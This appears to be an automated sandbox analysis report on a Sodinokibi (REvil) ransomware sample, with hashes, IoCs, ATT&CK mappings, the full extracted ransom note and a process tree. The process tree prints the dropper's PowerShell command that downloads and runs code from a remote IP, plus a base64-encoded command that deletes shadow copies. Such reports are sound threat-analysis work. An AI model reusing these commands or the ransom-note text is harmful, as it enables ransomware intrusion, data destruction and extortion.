sodinokibi | 697fd96092e104056ff21a7acab7b07da036f4e8d6cb9f672814b51be95591ed

General

Target

82d5933a7fe8497bb64008a8ad2bdaa6.bat
Size

220B
MD5

613e281b75ac4b2fdf68a543bf8e3910
SHA1

04cba786c3f966f0b61a930155de7ccfb85e5edb
SHA256

697fd96092e104056ff21a7acab7b07da036f4e8d6cb9f672814b51be95591ed
SHA512

389ba3e5b8d2188f3d1b6acb152607b567c815869ef0435e55e9eaa3ee93e31a692cc647369e21786c56bdd178bc6413f881abfcc2c8b5b38493891a86907dcb

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/82d5933a7fe8497bb64008a8ad2bdaa6

Extracted

Path

C:\ml005-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ml005. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/140?s=61908812b95c5ff1176e968733afaf55 [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2A37A62126565D9D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2A37A62126565D9D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: JifyahV+KukkXEJrshYHWAUsiKnZsoSD8MxEY4C4BsiBp5Kw0FxvxV7wSmPPIRc7 KEXmLea+x4xzXnZGv2UsKdhZsVexxpb5QXhi5ND3EKOrk2dcal4cy9s3m9G2/zbu QhguWLvyE4ZJ9rB8kE4O9D6QsQvgF65/fHkq/URqBq4xhlsgcMj2jbXI+Nuw3NII bqTm5BvuB7S7gK7IDyQUxfhesgsjARX8oXAWHCwI3qYC0Qyinb3EKPALoZv4JofG b+rYAX/rDqwz+1bKlZlbeIsb7Sfr8uVRF8H3mOeSfJt01mtan5eZlmHcncScE4De CDNovMvhskar8Drtv+j/wg7ZbhC8jqzDSbZvw/wu/7bCAFcdu7/UngBBFrAUf+q6 GDYJH3+YNTkKzTd8ngCiUZ6SA7gZXYyIbJQdYHen8KV0Bbn1qgVX27hP8mTXm4Oy Cf1ylM/lWl2SQ4P2T7V0JzDu8UXmNzn2XiM6yZ8LlPULIzaeOS1O9gJEZTBYOheD XkNrKiFMJqTdoEx4keUMtv7BRV8v1Lh09Z69wWUoe3DHihGTM4+ZNUxNojY64dw3 aZGGsNRfsgMAKEo/EnRR7ozQTNQLRw5tu6FYuY2y2V/mxP+RASEeqsY2N+UFFjug n3SBRsPqjloK7KYUN0KF+suRoEnqWznrX/g+9ilCooT+milTkOpJ/ioaGi+MEkby 0wQKbqW/LEHX48hPEQ6I2OvKkcmRRwDY/mbxcx5tZdtwQTiPS66HdFHdQp3rV5iQ 8wm2F2n/QXQB3K3Ywel/ke2ohK48Cpc0UTReWlIESqaT97F3/aQwiId//m/0Tc3g C7nV9yIfQXxj6zHh5Nf1PM9SKPfcH+hDdveQVJ33mNHSh8mS1LXPDtgV3Gh+R7Qw DRevIRxL9sTCArA/BJEtuK3lJ0WXJzFDUzcjFlLL+CXVrD+yEdALm6Ln8K7kMreM KnNk1k2WPVPCJq3NaxxCCLXWpYe1aHetsH6gRo05Mrddj9V4JwlCQras5XX9Nihb mNf0RYE24TeCCpbqzYFoOkwvt3pQjjjo4Gmthbe6nt7XUglfxLTCNYbxk2onu0qa UfmAN0wy7VZzaTVHrtJv4C02Z7BxxXGECJYCLPbbwTCVNGvs3rYhaD1/BcOt0nyE pmEAQj+ViqMplMucGHUuF5jJoo3iEryBaoYs6QiKmbBA13PV/mwutfACPl1ENre4 h8Iqn07mXDbWaiqfKgjREFFieSq3ZeEf3Dv7ZdEJlB/86OZNjT8+HFu6WQV+JOTy batV1ciEKfmkJUnVgXG2OcI2P0d6ysZtgGSHIvyk ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2A37A62126565D9D

http://decryptor.cc/2A37A62126565D9D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1676 powershell.exe

flow	pid	process
3	1676	powershell.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompressOptimize.raw => \??\c:\users\admin\pictures\CompressOptimize.raw.ml005	powershell.exe
File renamed	C:\Users\Admin\Pictures\GrantSelect.png => \??\c:\users\admin\pictures\GrantSelect.png.ml005	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\28nrq3156ax.bmp"	powershell.exe

Drops file in Program Files directory 40 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\EnableShow.temp	powershell.exe
File opened for modification	\??\c:\program files\OutJoin.mp4v	powershell.exe
File opened for modification	\??\c:\program files\ReceiveAssert.asp	powershell.exe
File opened for modification	\??\c:\program files\SelectInitialize.mov	powershell.exe
File opened for modification	\??\c:\program files\SyncStart.mp4v	powershell.exe
File opened for modification	\??\c:\program files\CompleteClose.tif	powershell.exe
File opened for modification	\??\c:\program files\ConfirmPing.vstx	powershell.exe
File opened for modification	\??\c:\program files\ResizeOut.ods	powershell.exe
File opened for modification	\??\c:\program files\SendProtect.ppt	powershell.exe
File opened for modification	\??\c:\program files\UnprotectConvertFrom.mpv2	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\ml005-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CloseBlock.vsw	powershell.exe
File opened for modification	\??\c:\program files\DebugExpand.mpe	powershell.exe
File opened for modification	\??\c:\program files\GroupDismount.rm	powershell.exe
File opened for modification	\??\c:\program files\TestResolve.M2TS	powershell.exe
File opened for modification	\??\c:\program files\UnlockApprove.odt	powershell.exe
File created	\??\c:\program files (x86)\ml005-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ExportTrace.mp2v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\ml005-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\OpenSync.xlt	powershell.exe
File opened for modification	\??\c:\program files\ConfirmAssert.gif	powershell.exe
File opened for modification	\??\c:\program files\MergeRemove.m4v	powershell.exe
File opened for modification	\??\c:\program files\StartRegister.tif	powershell.exe
File opened for modification	\??\c:\program files\SyncShow.xlsx	powershell.exe
File opened for modification	\??\c:\program files\UseCompare.sql	powershell.exe
File created	\??\c:\program files\ml005-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertAssert.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugAdd.AAC	powershell.exe
File opened for modification	\??\c:\program files\DisconnectSave.vbs	powershell.exe
File opened for modification	\??\c:\program files\GrantHide.m4a	powershell.exe
File opened for modification	\??\c:\program files\GroupCompress.wmv	powershell.exe
File opened for modification	\??\c:\program files\InstallEdit.mp2	powershell.exe
File opened for modification	\??\c:\program files\PushBlock.vstm	powershell.exe
File opened for modification	\??\c:\program files\StartUnlock.xsl	powershell.exe
File opened for modification	\??\c:\program files\SubmitPush.mp4	powershell.exe
File opened for modification	\??\c:\program files\UseAdd.au3	powershell.exe
File opened for modification	\??\c:\program files\WatchRevoke.vsdm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\ml005-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ShowRestore.ADTS	powershell.exe
File opened for modification	\??\c:\program files\StartTrace.wm	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1676 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1676 powershell.exe
1676 powershell.exe
1676 powershell.exe
1828 powershell.exe
1828 powershell.exe

pid	process
1676	powershell.exe

pid	process
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
1828	powershell.exe
1828	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeBackupPrivilege	1280	vssvc.exe
Token: SeRestorePrivilege	1280	vssvc.exe
Token: SeAuditPrivilege	1280	vssvc.exe
Token: SeTakeOwnershipPrivilege	1676	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1516 wrote to memory of 1676	1516	cmd.exe	powershell.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	powershell.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	powershell.exe
PID 1516 wrote to memory of 1676	1516	cmd.exe	powershell.exe
PID 1676 wrote to memory of 1828	1676	powershell.exe	powershell.exe
PID 1676 wrote to memory of 1828	1676	powershell.exe	powershell.exe
PID 1676 wrote to memory of 1828	1676	powershell.exe	powershell.exe
PID 1676 wrote to memory of 1828	1676	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\82d5933a7fe8497bb64008a8ad2bdaa6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/82d5933a7fe8497bb64008a8ad2bdaa6');Invoke-LIEITOMPTWTBU;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1828

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1676-5-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1676-21-0x00000000057F0000-0x00000000057F1000-memory.dmp

Filesize
4KB

Download
memory/1676-22-0x00000000063B0000-0x00000000063B1000-memory.dmp

Filesize
4KB

Download
memory/1676-14-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/1676-13-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/1676-8-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/1676-0-0x0000000000000000-mapping.dmp

Download
memory/1676-4-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

Filesize
4KB

Download
memory/1676-3-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

Download
memory/1676-2-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

Filesize
4KB

Download
memory/1676-1-0x0000000074820000-0x0000000074F0E000-memory.dmp

Filesize
6.9MB

Download
memory/1828-23-0x0000000000000000-mapping.dmp

Download
memory/1828-25-0x0000000074820000-0x0000000074F0E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads